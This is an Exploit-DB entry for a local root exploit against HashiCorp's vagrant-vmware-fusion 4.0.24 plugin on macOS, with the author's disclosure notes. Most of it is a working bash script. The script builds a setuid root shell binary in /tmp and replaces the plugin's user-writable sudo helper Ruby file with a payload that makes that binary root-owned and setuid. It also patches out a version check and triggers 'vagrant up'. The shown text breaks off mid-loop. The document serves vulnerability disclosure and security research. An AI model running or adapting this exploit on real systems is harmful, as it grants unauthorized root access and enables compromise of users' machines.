Exploit-DB #43223
Description: Hashicorp vagrant-vmware-fusion 4.0.24 - Local Privilege Escalation
Type: local
Platform: macos
Date: 2017-12-06
Author: Mark Wadham

Exploit:
# I have previously disclosed a couple of bugs in Hashicorp's vagrant-vmware-fusion plugin for vagrant.

# Unfortunately the 4.0.23 release which was supposed to fix the previous bug I reported didn't address the issue, so Hashicorp quickly put out another release
# - 4.0.24 - after that (but didn't update the public changelog on github).

# Unfortunately 4.0.24 is still vulnerable, largely due to a fundamental design flaw in the way the plugin is written combined with the need to elevate
# privileges for certain functions within Fusion.

# Because Hashicorp need users to be able to update the plugin as the local non-root user the encrypted ruby code that the plugin is comprised of must
# remain owned by the non-root user. This means there is a huge attack surface that we can exploit to manipulate the execution of the program and still get
# root on 4.0.24.

# I wrote this exploit before Fusion 10 was released and on the surface 4.0.24 is not compatible with Fusion 10. Curiously though it can be fairly easily tricked
# into working (at least partially) with Fusion 10 simply by patching out the version check and creating a symlink. I discovered this while trying to get the
# 4.0.24 exploit working with Fusion 10 installed - we can simply monkey-patch the version check out of the code, create a symlink for a binary that VMWare
# moved in v10 and then we're away. I was able to vagrant up and ssh into the running vm without any issues. It also means I was able to update the exploit so
# that it works on Fusion 8.x and Fusion 10.

# This seems to be (finally!) fixed properly in 4.0.25 by replacing the suid helper binary with a new go binary that contains all the required elevated
# operations and doesn't call back to the vulnerable ruby code.

# https://m4.rkw.io/vagrant_vmware_privesc_4.0.24_v8-10.sh.txt
# 30d54139620bf8e805805d34aa54f4f348b[PII_REDACTED]b28cd0f8c5a7a65c0e8
# -----------------------------------------------------------------------------
#!/bin/bash
echo
echo "**********************************************************"
echo "* vagrant_vmware_fusion plugin 4.0.24 local root privesc *"
echo "* by m4rkw - https://m4.rkw.io/blog.html                 *";
echo "**********************************************************"
echo "* works against vmware fusion 8.x and 10.x - even though *"
echo "* 4.0.24 is not compatible with 10.x, we patch out the   *"
echo "* version check ;)                                       *"
echo "**********************************************************"
echo

cleanup() {
  exec 2> /dev/null
  killall -9 vagrant 1>/dev/null 2>/dev/null
  kill -9 `ps auxwww |egrep '\/vagrant up$' |xargs -L1 |cut -d ' ' -f2` &>/dev/null
  exec 2> /dev/tty
  x=`pwd |sed 's/.*\///'`
  if [ "$x" == ".vagrant_vmware_fusion_4024_exp" ] ; then
    cd ..
    rm -rf .vagrant_vmware_fusion_4024_exp
  fi
  cd
  rm -rf .vagrant_vmware_fusion_4024_exp
  if [ -e "$target1.bak" ] ; then
    mv -f $target1.bak $target1
  fi
  if [ -e "$target2.orig" ] ; then
    mv -f $target2.orig $target2
  fi
}

vuln=`find ~/.vagrant.d//gems/2.3.4/gems/vagrant-vmware-fusion-4.0.24/bin -type f -perm +4000`

if [ "$vuln" == "" ] ; then
  echo "Vulnerable suid binary not found. It gets +s after the first vagrant up."
  exit 1
fi

mkdir .vagrant_vmware_fusion_4024_exp
cd .vagrant_vmware_fusion_4024_exp

echo "Looking for a vmware_desktop vagrant box ..."

box=`vagrant box list |grep '(vmware_desktop' |head -n1 |cut -d ' ' -f1`

download=0

if [ "$box" == "" ] ; then
  download=1
  echo "No box found, defaulting to envimation/ubuntu-xenial ..."
  box="envimation/ubuntu-xenial"
fi

echo "Writing a dummy vagrantfile ..."

cat > vagrantfile <<EOF
Vagrant.configure('2') do |config|
  config.vm.box = '$box'
end
EOF

echo "Compiling the shell invoker ..."

cat > /tmp/v.c <<EOF2
#include <unistd.h>
int main()
{
  setuid(0);
  seteuid(0);
  execl("/bin/bash","bash","-c","rm -f /tmp/v; /bin/bash",NULL);
  return 0;
}
EOF2
gcc -o /tmp/v /tmp/v.c
rm -f /tmp/v.c

echo "Looking for the sudo_helper_cli.rb ..."

target1=`find ~/.vagrant.d/ -name sudo_helper_cli.rb |grep vagrant-vmware-fusion-4.0.24`

if [ $target1 == "" ] ; then
  cleanup
  echo "sudo_helper_cli.rb version 4.0.24 not found"
  exit 1
fi

echo "Installing ruby payload ..."

if [ ! -e "$target1.bak" ] ; then
  mv -f $target1 $target1.bak
  if [ ! $? -eq 0 ] ; then
    cleanup
    echo "Unable to rename $target1, may not be exploitable."
    exit 1
  fi
fi

cat > $target1 <<EOF
#!/usr/bin/env ruby
class HashiCorp::VagrantVMwarefusion::SudoHelperCLI
  def run(x)
    \`chown root:wheel /tmp/v\`
    \`chmod 4755 /tmp/v\`
  end
end
EOF

if [ ! $? -eq 0 ] ; then
  cleanup
  echo "Unable to write to $target1, may not be exploitable."
  exit 1
fi

vc=`/Applications/VMware\ Fusion.app/Contents/Library/vmware-vmx -v 2>&1 |grep 'VMware Fusion 10.'`

if [ "$vc" != "" ] ; then
  echo "Fusion 10.x detected, Patching out the version check ..."

  target2=`find ~/.vagrant.d/ -name driver.rb |grep vagrant-vmware-fusion-4.0.24`

  if [ "$target2" == "" ] ; then
    cleanup
    echo "driver.rb version 4.0.24 not found"
    exit 1
  fi

  if [ ! -e "$target2.orig" ] ; then
    mv -f $target2 $target2.orig
    if [ ! $? -eq 0 ] ; then
      cleanup
      echo "Unable to rename $target2, may not be exploitable."
      exit 1
    fi
  fi

  cat > $target2 <<EOF
load File.dirname(__FILE__) + "/driver.rb.orig"

module DriverVersionHack
  def verify!
  end
end

class HashiCorp::VagrantVMwarefusion::Driver::Fusion
  prepend DriverVersionHack
end
EOF
fi

echo "Triggering vagrant up ..."

vagrant up &>/dev/null &

success=0


if [ $download -eq 1 ] ; then
  echo "*** we need to download the vmware box so this will take a minute or two ***"
fi

echo "Waiting for payload to trigger ..."

count=0

while :
do